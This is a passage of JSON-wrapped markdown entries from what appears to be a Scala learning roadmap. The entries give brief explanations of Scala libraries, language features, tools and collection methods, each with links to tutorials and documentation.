    "content": "# Cats\n\nCats provides core abstractions for functional programming in Scala. It aims to be modular, approachable, and efficient, while providing a foundation for an ecosystem of pure, typeful libraries. Cats Effect, a part of the Cats ecosystem, offers a pure asynchronous runtime for Scala, enabling developers to build scalable and resilient applications. The ecosystem includes libraries for streaming frameworks, database layers, HTTP servers and clients, and more. Resources\n\nVisit the following resources to learn more:\n\n- [@course@Cats Course on Rock the JVM](https://rockthejvm.com/courses/cats)\n- [@official@Cats Effect Documentation](https://typelevel.org/cats-effect/)\n- [@opensource@Cats GitHub Repository](https://github.com/typelevel/cats)\n- [@article@Cats Tutorial on Baeldung](https://www.baeldung.com/scala/cats-intro)"
  },
  {
    "path": "src/data/roadmaps/scala/content/chimney@ISX09NZJh4HhKb5_d42sQ.md",
    "content": "# Chimney\n\nChimney is a Scala library that provides typeclasses and macros for intuitive and type-safe transformations between data structures. It allows for automatic derivation of transformers between different model case classes, reducing boilerplate code. Chimney uses macros internally to ensure that transformations are checked at compile time, providing safety and convenience.\n\nVisit the following resources to learn more:\n\n- [@official@Chimney Cookbook](https://chimney.readthedocs.io/en/stable/cookbook/)\n- [@article@Introduction to Chimney](https://www.baeldung.com/scala/chimney-data-transformation-library)"
  },
  {
    "path": "src/data/roadmaps/scala/content/circe@J5RuMesa74X122XHVgnFY.md",
    "content": "# Circe\n\nCirce is a JSON library for Scala that is part of the Cats ecosystem. It provides a functional way to handle JSON data, including encoding and decoding using Encoder and Decoder type classes. Circe aims to simplify working with JSON by hiding implementation details in a simple API and offers good performance and complete documentation.\n\nVisit the following resources to learn more:\n\n- [@article@Tutorial on Circe](https://guillaumebogard.dev/videos/json-handling-scala-circe/)\n- [@article@Circe Tips and Tricks](https://medium.com/@famlyengineering/circe-tips-and-tricks-c2899e8c1967)"
  },
  {
    "path": "src/data/roadmaps/scala/content/class@UmX7kymkWSROjDZjnoEFg.md",
    "content": "# Class\n\nA class is a blueprint for creating objects. Classes can contain methods, values, variables, types, objects, and traits. The primary constructor is defined in the class signature. Classes are defined using the class keyword followed by the class name.\n\nVisit the following resources to learn more:\n\n- [@official@Classes | Tour of Scala | Scala Documentation](https://docs.scala-lang.org/tour/classes.html)\n- [@article@Scala - Classes & Objects](https://www.tutorialspoint.com/scala/scala_classes_objects.htm)\n- [@article@Classes and Objects in Scala | Baeldung on Scala](https://www.baeldung.com/scala/classes-objects)"
  },
  {
    "path": "src/data/roadmaps/scala/content/collect--collectfirst@nCPJKbcDfc4w4c4TroBRe.md",
    "content": "# collect / collectFirst\n\nThe collect and collectFirst methods are used to apply a partial function to elements of a collection. The collect method takes a partial function as its parameter and applies it to all the elements in the collection to create a new collection. The new collection contains only those elements that were successfully mapped by the partial function. The collectFirst method applies the partial function to the first element in the collection for which the function is defined and returns its result wrapped with Some, or None if the function is not defined for any element in the collection.\n\nVisit the following resources to learn more:\n\n- [@article@Scala Tutorial - Collect Function](https://allaboutscala.com/tutorials/chapter-8-beginner-tutorial-using-scala-collection-functions/scala-collect-function/)\n- [@article@collect vs collectFirst - why the return values are of different type - Scala - Stack Overflow](https://stackoverflow.com/questions/40773529/collect-vs-collectfirst-why-the-return-values-are-of-different-type-scala)\n- [@article@tech: Scala : collectFirst example](http://thushw.blogspot.com/2015/09/scala-collectfirst-example.html)"
  },
  {
    "path": "src/data/roadmaps/scala/content/concurrency@MAsfpdZSMpl9P3ulQbl4i.md",
    "content": "# Concurrency\n\nNext to backend software development, concurrent programming is the other niche where Scala shines. Scala offers a number of solutions from all over the board: effect systems, actors, and so-called direct style."
  },
  {
    "path": "src/data/roadmaps/scala/content/conditionals@PDoJZATYO9SmMfebmvORn.md",
    "content": "# Conditionals\n\nConditional statements are primarily handled using if/else and match/case constructs. The if/else construct is straightforward and similar to other programming languages, allowing for simple conditional branching. The match/case construct is more powerful and can handle multiple conditions, pattern matching, and even include guards (additional conditions using if expressions within each case). Resources\n\nVisit the following resources to learn more:\n\n- [@official@match Expressions | Scala Book | Scala Documentation](https://docs.scala-lang.org/overviews/scala-book/match-expressions.html)\n- [@article@Mastering Conditional Statements in Scala: If-Else and Match Explained](https://www.developerindian.com/articles/mastering-conditional-statements-in-scala-if-else-and-match-explained)\n- [@article@Scala: How to add ‘if’ expressions (guards) to match/case expressions](https://alvinalexander.com/scala/how-to-use-if-then-expressions-guards-in-case-statements-scala/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/context-bounds@96F_G2PY8VG_Et9g4DFX2.md",
    "content": "# Context bounds\n\nContext Bounds in Scala is a feature that provides a shorthand syntax for expressing the common pattern of a context parameter that depends on a type parameter. Context bounds are used to simplify the code for generic types and are particularly useful in the context of type classes.\n\nVisit the following resources to learn more:\n\n- [@official@Context Bounds | Scala 3 - Book | Scala Documentation](https://docs.scala-lang.org/scala3/book/ca-context-bounds.html)\n- [@article@Demystifying View and Context Bounds | Baeldung on Scala](https://www.baeldung.com/scala/view-context-bounds)\n- [@article@Context Bounds - Scala 3 - EPFL](https://dotty.epfl.ch/docs/reference/contextual/context-bounds.html)"
  },
  {
    "path": "src/data/roadmaps/scala/content/conversions@OdcjkyWs3s86CqtUnAdxx.md",
    "content": "# Conversions\n\nImplicit conversions allow the compiler to automatically convert one type to another in certain situations. In Scala 3, implicit conversions are defined by a given instance of type scala.Conversion\\[S, T\\], where S is the source type and T is the target type. In Scala 3.8+, the into keyword is used to mark types that can be implicitly converted. If the expected type of an expression is into\\[T\\], then an implicit conversion to that type can be inserted without the need for a language import.\n\nVisit the following resources to learn more:\n\n- [@official@Implicit Conversions | Tour of Scala | Scala Documentation](https://docs.scala-lang.org/tour/implicit-conversions.html)\n- [@official@Implicit Conversions | Scala 3 - Book | Scala Documentation](https://docs.scala-lang.org/scala3/book/ca-implicit-conversions.html)\n- [@article@Implicit Conversions | Baeldung on Scala](https://www.baeldung.com/scala/implicit-conversions)"
  },
  {
    "path": "src/data/roadmaps/scala/content/cosplay@Rz9OCeWj0y2cwfLrGuXqR.md",
    "content": "# CosPlay\n\nCosPlay is a 2D ASCII game engine for Scala. It is designed to be a standard Scala3-based program with minimal requirements for code organization. CosPlay allows for the creation of games using ASCII characters and provides methods to initialize the game engine, start the game loop, and dispose of the game engine when the game exits.\n\nVisit the following resources to learn more:\n\n- [@official@CosPlay](https://cosplayengine.com/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/courses@yzVo7NtvU5HdGqg7T7XAh.md",
    "content": "# Courses\n\nCourses offer a structured learning path, typically designed by experts, that guides you through the fundamentals to advanced concepts. They often include hands-on exercises, projects, and assessments to reinforce learning and provide practical experience. Courses come in various formats, like online videos, interactive tutorials, and in-person workshops, catering to different learning preferences and schedules. They can be a great way to stay motivated, track your progress, and gain a recognized credential upon completion.\n\nVisit the following resources to learn more:\n\n- [@course@Functional Programming in Scala Specialization](https://www.coursera.org/specializations/scala)\n- [@course@Scala Fundamentals (Packt)](https://www.coursera.org/learn/packt-scala-fundamentals-ll2gw)\n- [@course@courseFunctional Programming in Scala (JetBrains)](https://academy.jetbrains.com/course/23833-functional-programming-in-scala)"
  },
  {
    "path": "src/data/roadmaps/scala/content/data-handling@STbiR-fcScKwFwkGDoTh8.md",
    "content": "# Data Handling\n\nData handling involves the processes of gathering, storing, and manipulating data for various purposes. It encompasses activities like reading data from different sources, transforming it into a usable format, and performing operations to analyze or modify it. Efficient data handling is essential for building applications that can process and utilize information effectively."
  },
  {
    "path": "src/data/roadmaps/scala/content/data-structures@ACR-ncVRUYN0LXm5x6NhS.md",
    "content": "# Data Structures: Class, Trait, and Object\n\nScala provides three fundamental building blocks for structuring data and behavior: classes, traits, and objects. A class is a blueprint for creating objects, encapsulating data (fields) and behavior (methods). A trait is similar to an interface but can also contain concrete methods and fields, allowing for code reuse through mixins. An object is a singleton instance of a class, useful for creating utility classes or entry points to applications. Together, these structures enable the creation of well-organized and maintainable code."
  },
  {
    "path": "src/data/roadmaps/scala/content/distributed-computing@QaJAFu-xHUAGK7fjncQJB.md",
    "content": "# Distributed computing\n\nDistributed computing involves creating systems where multiple computers work together to solve complex problems by sharing resources and processing tasks across a network. Scala is particularly well-suited for distributed computing due to its ecosystem of libraries and frameworks like Akka, Apache Spark, and ZIO, which provide tools for building resilient, scalable, and fault-tolerant distributed systems."
  },
  {
    "path": "src/data/roadmaps/scala/content/docs@I_Bs6mryYyEAnwT_oPQ5A.md",
    "content": "# Docs\n\nScala's official documentation is a fantastic place to start learning the language and its features. It provides comprehensive guides, tutorials, and API references that cover everything from basic syntax to advanced concepts. You can find clear explanations, practical examples, and detailed descriptions, making it easy to understand how different parts of Scala work and how to use them effectively.\n\nVisit the following resources to learn more:\n\n- [@official@Learn Scala](https://docs.scala-lang.org/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/doobie@SYZPgKGQUqX729Yo54eZk.md",
    "content": "# Doobie\n\nDoobie is a pure functional JDBC layer for Scala and Cats. It provides a functional way to construct programs and higher-level libraries that use JDBC. Doobie is designed to be type-safe and composable, allowing developers to write database interactions in a purely functional style.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Doobie on Baeldung](https://www.baeldung.com/scala/doobie-intro)\n- [@article@Learning Doobie on Rock the JVM](https://rockthejvm.com/articles/learning-doobie-for-the-greater-good)"
  },
  {
    "path": "src/data/roadmaps/scala/content/early-returns@votWwsha27Bt9i5GhHRvA.md",
    "content": "# Early returns\n\nThis topic brings together several concepts you have already encountered: pattern matching, partial functions, the apply and unapply methods, and lazy collections. Its purpose is to let you see how they work together.\n\nVisit the following resources to learn more:\n\n- [@article@Many Happy Early Returns](https://makingthematrix.wordpress.com/2021/03/09/many-happy-early-returns/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/ecosystems@BIeOReaWlfP0SkFl1B44M.md",
    "content": "# Know your ecosystem\n\nEcosystems in Scala are groups of frameworks and libraries that work well together and are often maintained and developed by the same organization. While nothing is stopping you from choosing any framework or library from the wide spectrum of Scala open-source projects, it often makes sense to stick to those that belong to the same ecosystem unless you have a good reason to pick another. Of course, you’re also free to use one ecosystem in one project and another in a different project."
  },
  {
    "path": "src/data/roadmaps/scala/content/effect-systems@JuFghXpaI3uHtTckgmYeb.md",
    "content": "# Effect systems\n\nAn effect system is a programming paradigm that helps manage side effects in a controlled and predictable manner. In functional programming, side effects - such as input/output operations, state changes, or exceptions - can introduce complexity and make code harder to reason about. An effect system allows developers to explicitly declare and handle these side effects, making the code more modular, testable, and maintainable. By separating the description of what a program should do from the actual execution of those actions, effect systems enable better composition and reasoning about program behavior."
  },
  {
    "path": "src/data/roadmaps/scala/content/either@P0Vo-2ShpFVfBxIrupLll.md",
    "content": "# Either\n\nThe Either class in Scala is used to represent a value of one of two possible types (a disjoint union). An instance of Either is either an instance of scala.util.Left or scala.util.Right.\n\nVisit the following resources to learn more:\n\n- [@official@Scala Standard Library 2.13.6 - scala.util.Either](https://www.scala-lang.org/api/2.13.6/scala/util/Either.html)\n- [@article@Scala - Either class | by zeesh.arif | Medium](https://zeesh-arif.medium.com/scala-either-class-ca6cb44c3643)\n- [@article@A Scala Either, Left, and Right example (like Option, Some, and None) | alvinalexander.com](https://alvinalexander.com/scala/scala-either-left-right-example-option-some-none-null/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/emacs@JSzlu4UNQA016AtE5xxml.md",
    "content": "# Emacs\n\nEmacs is a highly extensible and customizable text editor known for its features and flexibility. When equipped with the Metals plugin, Emacs becomes a robust environment for Scala development, offering features like code completion, refactoring, and debugging.\n\nVisit the following resources to learn more:\n\n- [@official@Emacs Main Page](https://www.gnu.org/software/emacs/)\n- [@official@Emacs | Scalameta](https://scalameta.org/metals/docs/editors/emacs/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/enums@bSZbsqY1yzq9uKbFlgwkF.md",
    "content": "# Enums\n\nIn Scala 3, enums are used to define a type consisting of a set of named values. They provide a more concise and safer way to define enumerations compared to the traditional Enumeration class in Scala 2.\n\nVisit the following resources to learn more:\n\n- [@official@Enumerations | Scala documentation](https://docs.scala-lang.org/scala3/reference/enums/enums.html)\n- [@article@Enums in Scala 3: Quickly Explained | Rock the JVM](https://rockthejvm.com/articles/enums-in-scala-3)\n- [@article@Guide to Scala Enumerations | Baeldung on Scala](https://www.baeldung.com/scala/enumerations)"
  },
  {
    "path": "src/data/roadmaps/scala/content/error-handling@1T7yhzZMoFKUvgS4ZWiPc.md",
    "content": "# Error handling\n\nScala offers multiple ways to handle errors, including try/catch/finally blocks, Option, Either, and Try. These methods allow developers to handle exceptions and errors in a functional and composable way.\n\nVisit the following resources to learn more:\n\n- [@official@Functional Error Handling in Scala | Scala Book | Scala Documentation](https://docs.scala-lang.org/overviews/scala-book/functional-error-handling.html)\n- [@official@Error Handling in Scala](https://docs.scala-lang.org/overviews/scala-book/functional-error-handling.html)\n- [@article@Idiomatic Error Handling in Scala | Rock the JVM](https://rockthejvm.com/articles/idiomatic-error-handling-in-scala)"
  },
  {
    "path": "src/data/roadmaps/scala/content/filter@hK_E1meVZkK6ICUs5qmIP.md",
    "content": "# Filter\n\nThe `filter` method in Scala collections lets you pick out the elements you want based on a condition. You give it a function that takes an element and returns `true` if you want to keep it, and `false` if you want to discard it. The `filter` method then returns a new collection containing only the elements for which the function returned `true`.\n\nVisit the following resources to learn more:\n\n- [@official@Collections Methods | Scala 3 - Book | Scala Documentation](https://docs.scala-lang.org/scala3/book/collections-methods.html)\n- [@article@Different Ways to Filter Elements From a Scala Collection | Baeldung on Scala](https://www.baeldung.com/scala/filter-collections)"
  },
  {
    "path": "src/data/roadmaps/scala/content/find@qU8svc-H5L2-QeBSXgp_8.md",
    "content": "# find\n\nThe `find` method is used on collections (like Lists, Sets, or Maps) to locate the first element that satisfies a given condition. You provide `find` with a function that checks each element, and if the function returns `true` for an element, `find` immediately returns `Some(element)`. If no element matches the condition, it returns `None`. Think of it as a targeted search that stops as soon as it finds a match.\n\nVisit the following resources to learn more:\n\n- [@official@Collections Methods | Scala 3 - Book | Scala Documentation](https://docs.scala-lang.org/scala3/book/collections-methods.html)\n- [@article@Scala Collections Filter | Tutorials Point](https://www.tutorialspoint.com/scala_collections/scala_collections_filter.htm)"
  },
  {
    "path": "src/data/roadmaps/scala/content/flatmap@zEJeNsQcCz4hk7t7fDuVL.md",
    "content": "# flatMap\n\nThe flatMap method is used to apply a function to each element of a collection and then flatten the results into a new collection. It is essentially a combination of the map method followed by the flatten method, but this seemingly very simple property makes it fundamental for Functional Programming.\n\nVisit the following resources to learn more:\n\n- [@article@A collection of Scala 'flatMap' examples](https://alvinalexander.com/scala/collection-scala-flatmap-examples-map-flatten/)\n- [@article@Scala Tutorial - FlatMap Function](https://allaboutscala.com/tutorials/chapter-8-beginner-tutorial-using-scala-collection-functions/scala-flatmap-function/)\n- [@article@Difference Between map() and flatMap() in Scala](https://www.baeldung.com/scala/map-vs-flatmap)"
  },
  {
    "path": "src/data/roadmaps/scala/content/float@3MO2hkUs5wh1Xkcs1Yr7s.md",
    "content": "# Float\n\nFloats in Scala are used to represent numbers with decimal points. They are like regular numbers but can have a fractional part, such as 3.14 or -2.7. A float uses 32 bits of memory and can store values with a certain level of precision. Because they are stored in binary format with a limited number of bits, they can sometimes have slight inaccuracies when representing certain decimal numbers."
  },
  {
    "path": "src/data/roadmaps/scala/content/foldleft@GUvy5sUdY32NJ_9aIzMr9.md",
    "content": "# foldLeft\n\nThe foldLeft method is used to produce a single result by \"folding\" all the elements of a collection. The algorithm starts with a \"zero\" element which is paired with the first element of the collection to create an intermediate result element. Then that intermediate result is paired with the second element of the collection to create a new intermediate result, and so on, until the algorithm reaches the end of the collection. Then the final result is returned.\n\nVisit the following resources to learn more:\n\n- [@article@Scala Collections - FoldLeft Method](https://www.tutorialspoint.com/scala_collections/scala_collections_foldleft.htm)\n- [@article@Folding Lists in Scala | Baeldung on Scala](https://www.baeldung.com/scala/folding-lists)\n- [@article@Scala Tutorial - FoldLeft Function Example](https://allaboutscala.com/tutorials/chapter-8-beginner-tutorial-using-scala-collection-functions/scala-foldleft-example/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/for-comprehension@pk6KQObR5AhAXj0wf5a3p.md",
    "content": "# for-comprehensions\n\nFor-comprehensions in Scala are used to evaluate expressions and return a sequence of values. They have the form for (enumerators) yield e, where enumerators refer to a list of enumerators. They are basically syntax sugar over flatMap but they help a lot in making your code both safe and.\n\nVisit the following resources to learn more:\n\n- [@official@For Comprehensions | Tour of Scala | Scala Documentation](https://docs.scala-lang.org/tour/for-comprehensions.html)\n- [@article@A Comprehensive Guide to For-Comprehension in Scala | Baeldung on Scala](https://www.baeldung.com/scala/for-comprehension)\n- [@article@Scala: comprehending the for-comprehension | by Linas Medžiūnas | Wix Engineering | Medium](https://medium.com/wix-engineering/scala-comprehending-the-for-comprehension-67c9f7953655)"
  },
  {
    "path": "src/data/roadmaps/scala/content/foreach@MEwfeQ3yolH5bLVtHocaA.md",
    "content": "# foreach\n\nThe foreach method is used to apply a function to each element of a collection for its side effects. Unlike methods like map or filter, foreach does not return a value; it is used primarily for operations that have side effects, such as printing elements or modifying external state.\n\nVisit the following resources to learn more:\n\n- [@official@for Loops | Scala Book | Scala Documentation](https://docs.scala-lang.org/overviews/scala-book/for-loops.html)\n- [@article@Scala Tutorial - Foreach Function Example](https://allaboutscala.com/tutorials/chapter-8-beginner-tutorial-using-scala-collection-functions/scala-foreach-example/)\n- [@article@Using foreach() Method in Scala Collections | Baeldung on Scala](https://www.baeldung.com/scala/foreach-collections)"
  },
  {
    "path": "src/data/roadmaps/scala/content/fs2@ERnBDDZA1VjdRryqQ-iOy.md",
    "content": "# FS2\n\nFS2 is a library for purely functional, effectful, and polymorphic stream processing in the Scala programming language. Its design goals are compositionality, expressiveness, resource safety, and speed. FS2 is built upon Cats and Cats-Effect, and its core types (streams and pulls) are polymorphic in the effect type, allowing it to be used with other effect libraries.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to FS2 on Baeldung](https://www.baeldung.com/scala/fs2-functional-streams)\n- [@article@FS2 on Medium](https://taogang.medium.com/the-evolution-of-stream-processing-part-7-fs2-an-elegant-practitioner-of-functional-f52a0e55dd8e)"
  },
  {
    "path": "src/data/roadmaps/scala/content/funcs-returning-funcs@eSzfUe1nYv7TA3Nl9h2aN.md",
    "content": "# Functions returning functions\n\nIn Scala, functions can return other functions. Currying is the process of converting a function with multiple arguments into a sequence of functions that take one argument each. Function composition is the process of combining two or more functions to create a new function. Resources\n\nVisit the following resources to learn more:\n\n- [@article@Currying in Scala | Baeldung on Scala](https://www.baeldung.com/scala/currying)\n- [@article@Currying Functions in Scala](https://www.tutorialspoint.com/scala/currying_functions.htm)\n- [@article@Partially Applied Functions and Currying](https://www.scalamatters.io/post/partially-applied-functions-and-currying)"
  },
  {
    "path": "src/data/roadmaps/scala/content/functions--methods@e1dvY1Wd6ZYw2ULKETc49.md",
    "content": "# Functions & Methods\n\nFunctions and methods are fundamental building blocks for organizing and reusing code. A function is essentially a block of code that performs a specific task. You give it some input (arguments), and it returns an output (return value). A method is very similar to a function, but it's associated with an object or class. It operates on the data within that object or class. In practice, the distinction between functions and methods in Scala is often blurred, but the key is they both allow you to break down complex problems into smaller, manageable pieces.\n\nVisit the following resources to learn more:\n\n- [@official@Functions](https://docs.scala-lang.org/tour/basics.html#functions)\n- [@official@Methods](https://docs.scala-lang.org/tour/basics.html#methods)\n- [@article@Functions and Methods in Scala](https://www.baeldung.com/scala/functions-methods)"
  },
  {
    "path": "src/data/roadmaps/scala/content/gatling@55CbOuD2qX3oWzSIfBRlu.md",
    "content": "# Gatling\n\nGatling is an open-source tool for performance and load testing, particularly well-suited for testing web applications. It is built on Scala, Akka, and Netty, and allows you to write test scenarios using expressive SDKs in Scala, Java, Kotlin, JavaScript, or TypeScript. Gatling is designed to be high-performance and can simulate thousands of concurrent users with minimal system resources. It provides detailed reports and integrates well with CI/CD pipelines.\n\nVisit the following resources to learn more:\n\n- [@official@Gatling documentation](https://docs.gatling.io/)\n- [@official@Load Testing in Java, Kotlin and Scala | Gatling Blog](https://gatling.io/blog/java-kotlin-or-scala-which-gatling-flavor-is-right-for-you)\n- [@article@Testing With Gatling Using Scala | Baeldung on Scala](https://www.baeldung.com/scala/gatling-load-testing)\n- [@article@Distributed Performance Testing with Gatling | Baeldung](https://www.baeldung.com/gatling-distributed-perf-testing)"
  },
  {
    "path": "src/data/roadmaps/scala/content/gears@0d5OXgNaqc1_iwcGYiYmw.md",
    "content": "# Gears\n\nGears is an experimental asynchronous programming library for Scala 3. It is designed to enable direct-style programming, structured concurrency, and is cross-platform, working on both JVM >=21 and Scala Native. Gears provides a simple and structured way to handle concurrent programming, minimizing computation leaks and offering tools for dealing with external, unstructured events.\n\nVisit the following resources to learn more:\n\n- [@official@Gears Documentation](https://lampepfl.github.io/gears/)\n- [@book@Gears Book](https://blog.nkagami.me/gears-book/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/graalvm-native-image@Mp7N98NLWQptk6w5totGR.md",
    "content": "# GraalVM Native Image\n\nGraalVM Native Image is a tool that compiles Java applications into native binary executables using ahead-of-time (AOT) compilation. When used with Scala, it can significantly improve the performance and startup time of Scala applications by eliminating the need for a JVM at runtime. The process involves using plugins like sbt-native-image, which automates the installation of GraalVM and the generation of native binaries. However, configuring GraalVM for Scala applications can be challenging due to the need to handle reflection and other dynamic features used by Scala libraries.\n\nVisit the following resources to learn more:\n\n- [@opensource@GitHub - scalameta/sbt-native-image: Plugin to generate native-image binaries with sbt](https://github.com/scalameta/sbt-native-image)\n- [@article@GraalVM with Scala | Baeldung on Scala](https://www.baeldung.com/scala/graalvm)\n- [@article@Packaging as GraalVM native images ⚡ | Scala CLI](https://scala-cli.virtuslab.org/docs/cookbooks/package/native-images/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/gradle@tYMRMVFon8V--pXLeye0U.md",
    "content": "# Gradle\n\nGradle is widely used for building, testing, publishing, and deploying software packages. It is known for its flexibility and efficiency in managing dependencies and resolving version conflicts. Gradle uses a Groovy-based Domain Specific Language (DSL) for writing build scripts, making it more flexible and readable compared to XML-based build tools like Maven. Gradle supports incremental builds and build caching, which can significantly speed up the build process. It is commonly used for Java, Kotlin, and Android projects but can also be used for Scala. Resources\n\nVisit the following resources to learn more:\n\n- [@course@Gradle Fundamentals on Udemy](https://www.udemy.com/course/gradle-fundamentals/)\n- [@official@Gradle Guides](https://gradle.org/guides/)\n- [@official@Gradle User Manual](https://docs.gradle.org/current/userguide/userguide.html)\n- [@article@Gradle Tutorial on TutorialsPoint](https://www.tutorialspoint.com/gradle/index.htm)"
  },
  {
    "path": "src/data/roadmaps/scala/content/gui@Jf3fxng9tN6PCycXyy5PE.md",
    "content": "# GUI Frameworks and Libraries\n\nGUI frameworks and libraries provide tools and components for creating graphical user interfaces in applications. These tools handle the visual elements like windows, buttons, text fields, and other interactive elements, along with event handling to make applications responsive to user actions. They allow developers to build desktop or web-based applications with a rich, interactive visual experience."
  },
  {
    "path": "src/data/roadmaps/scala/content/http4s@LATumtt9T5nfP6-jSoM6i.md",
    "content": "# http4s\n bb \nhttp4s is a minimal, idiomatic Scala interface for HTTP services. It is built on FS2, a streaming library that allows for processing and emitting large payloads in constant space and implementing websockets. http4s is designed to be composable and easy to reason about, with I/O managed through cats-effect.\n\nVisit the following resources to learn more:\n\n- [@opensource@http4s GitHub Repository](https://github.com/http4s/http4s)\n- [@article@Introduction to http4s on Baeldung](https://www.baeldung.com/scala/http4s-intro)\n- [@article@http4s Tutorial on Rock the JVM](https://rockthejvm.com/articles/http4s-unleashing-the-power-of-http-apis-library)"
  },
  {
    "path": "src/data/roadmaps/scala/content/implicit-parameter@9PiyO8DlNgas10ZjZJCkA.md",
    "content": "# Implicit parameters\n\nImplicit parameters are passed to functions without having to explicitly specify them at the call site. This can make your code more concise and readable, especially when dealing with common or boilerplate code. In Scala 2, they were declared with the implicit keyword. In Scala 3, we use keywords given and using. The given keyword is used to define instances of implicit values, and the using keyword is used to declare context parameters.\n\nVisit the following resources to learn more:\n\n- [@official@Using Clauses | Scala documentation](https://docs.scala-lang.org/scala3/reference/contextual/using-clauses.html)\n- [@article@Scala 3: Given and Using Clauses | Rock the JVM](https://rockthejvm.com/articles/scala-3-given-and-using-clauses)\n- [@article@Scala 3: Using Term Inference with Given and Using (and extension methods) | alvinalexander.com](https://alvinalexander.com/scala/scala-3-given-using-term-inference-context/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/indigo@XUg4x7MQTvXzmDkgkET7S.md",
    "content": "# Indigo\n\nIndigo is a game engine written in Scala, designed specifically for functional programmers. It aims to address challenges in testing games and managing data flow and state. Indigo supports Scala 3.0 and is particularly suited for developing 2D pixel art games.\n\nVisit the following resources to learn more:\n\n- [@official@Indigo](https://indigoengine.io/)"
  },
  {
    "path": "src/data/roadmaps/scala/content/integers@xNMXubCcKuaSkYIgz0YVk.md",
    "content": "# Integers\n\nIntegers are whole numbers, meaning they don't have any fractional or decimal parts. In Scala, integers can be positive (like 5), negative (like -10), or zero (0). They are used for counting and performing arithmetic calculations that involve only whole numbers. Scala provides several integer types, each with a different range of values they can represent, allowing you to choose the most appropriate type based on the size of the numbers you need to work with."
  },
  {
    "path": "src/data/roadmaps/scala/content/intellij-idea@zDXDdfzObrUlrIkgxCouq.md",
    "content": "# IntelliJ IDEA\n\nIntelliJ IDEA is a popular integrated development environment (IDE) that offers support for Scala through its Scala Plugin. This plugin provides essential features for Scala development, including code completion, refactoring, debugging, and seamless integration with build tools like sbt and Maven.\n\nVisit the following resources to learn more:\n\n- [@official@Scala IDE | The Landing Page](https://www.jetbrains.com/pages/scala/)\n- [@official@Get Started With Scala | IntelliJ IDEA Documentation](https://www.jetbrains.com/help/idea/get-started-with-scala.html#new-scala-project)"
  },
  {
    "path": "src/data/roadmaps/scala/content/introduction@ojvTMCBlgUf6ywgsgCQM1.md",
    "content": "# Introduction\n\nScala is a programming language that blends object-oriented and functional programming ideas. It runs on the Java Virtual Machine (JVM) and can also be compiled to JavaScript. This makes it possible to use Scala for a wide variety of tasks, from building large-scale systems to writing web applications and scripts. It is designed to be concise, elegant, and type-safe, aiming to provide developers with powerful tools for creating robust and scalable applications."
  },
  {
    "path": "src/data/roadmaps/scala/content/iterators@jMqwWE2Aebd7wT4iogIIW.md",
    "content": "# Iterators\n\nAn iterator is a mechanism to access a collection's elements sequentially in a performant way. They are often used in loops. On the other hand, they are mutable, and careless use can lead to non-trivial bugs.\n\nVisit the following resources to learn more:\n\n- [@official@Iterators | Collections (Scala 2.8 - 2.12) | Scala Documentation](https://docs.scala-lang.org/overviews/collections/iterators.html)\n- [@article@Scala - Iterators](https://www.tutorialspoint.com/scala/scala_iterators.htm)"
  },
  {
    "path": "src/data/roadmaps/scala/content/javafx@V0CMqxJh3IZ3Npvp2z7Af.md",
    "content": "# JavaFX\n\nJavaFX is a GUI toolkit for Java designed to create rich desktop applications with modern user interfaces. It provides a comprehensive set of UI controls, supports hardware-accelerated graphics, and can be used to build applications that run across multiple platforms, including web, desktop, and mobile. JavaFX is known for its ease of use and integration with Java libraries.\n\nVisit the following resources to learn more:\n\n- [@official@Official JavaFX Documentation](https://openjfx.io/openjfx-docs/)\n- [@article@JavaFX Tutorial on TutorialsPoint](https://www.tutorialspoint.com/javafx/index.htm)"
  },
  {
    "path": "src/data/roadmaps/scala/content/jsoniter@kyYPX8_vvnjixMeZQTPqA.md",
    "content": "# Jsoniter\n\nJsoniter is a library for compile-time generation of safe and ultra-fast JSON codecs for Scala. It uses Scala macros to generate codecs and has its own core mechanics for parsing and serialization. Jsoniter is designed to provide high performance and efficient processing of JSON data, making it suitable for handling both small JSON messages and large JSON data sets.\n\nVisit the following resources to learn more:\n\n- [@article@Article on Jsoniter](https://blog.lambdaspot.dev/the-fastest-and-safest-json-parser-and-serializer-for-scala)"
  },
  {
    "path": "src/data/roadmaps/scala/content/junit@qKy9u6fJoMfRAMlnTv816.md",
    "content": "# JUnit\n\nJUnit is a popular open-source unit testing framework for Java. It is part of the xUnit family and is designed to help developers write and run repeatable tests. JUnit is widely used for unit testing and supports various types of tests, including integration tests. It is trusted by millions of developers worldwide and is known for its simplicity and effectiveness in ensuring code quality.\n\nVisit the following resources to learn more:\n\n- [@article@JUnit 5 tutorial - Learn how to write unit tests](https://www.vogella.com/tutorials/JUnit/article.html)\n- [@article@A Guide to JUnit 5 | Baeldung](https://www.baeldung.com/junit-5)"
  },
  {
    "path": "src/data/roadmaps/scala/content/jvm@Gy7AaiqSL_38yB73C5W5B.md",
    "content": "# JVM\n\nScala's primary platform is the Java Virtual Machine (JVM). Scala code is compiled into Java bytecode, allowing it to run on any device with a JVM, independent of the underlying machine configuration. This setup ensures compatibility with Java libraries and tools, making Scala a versatile choice for developers familiar with the Java ecosystem. The JVM's backward compatibility ensures that Scala code compiled on older versions can run on newer JVMs without issues.\n\nVisit the following resources to learn more:\n\n- [@official@Scala Documentation on JDK Compatibility](https://docs.scala-lang.org/overviews/jdk-compatibility/overview.html)\n- [@article@TutorialsPoint: Understanding Java JDK, JRE, and JVM](https://www.tutorialspoint.com/java/java-jdk-jre-jvm.htm)\n- [@article@Scala and JVM Basics on Toptal](https://www.toptal.com/scala/scala-bytecode-and-the-jvm)"
  },
  {
    "path": "src/data/roadmaps/scala/content/kyo@AhgoqMHyHn4lX6eMJuxZt.md",
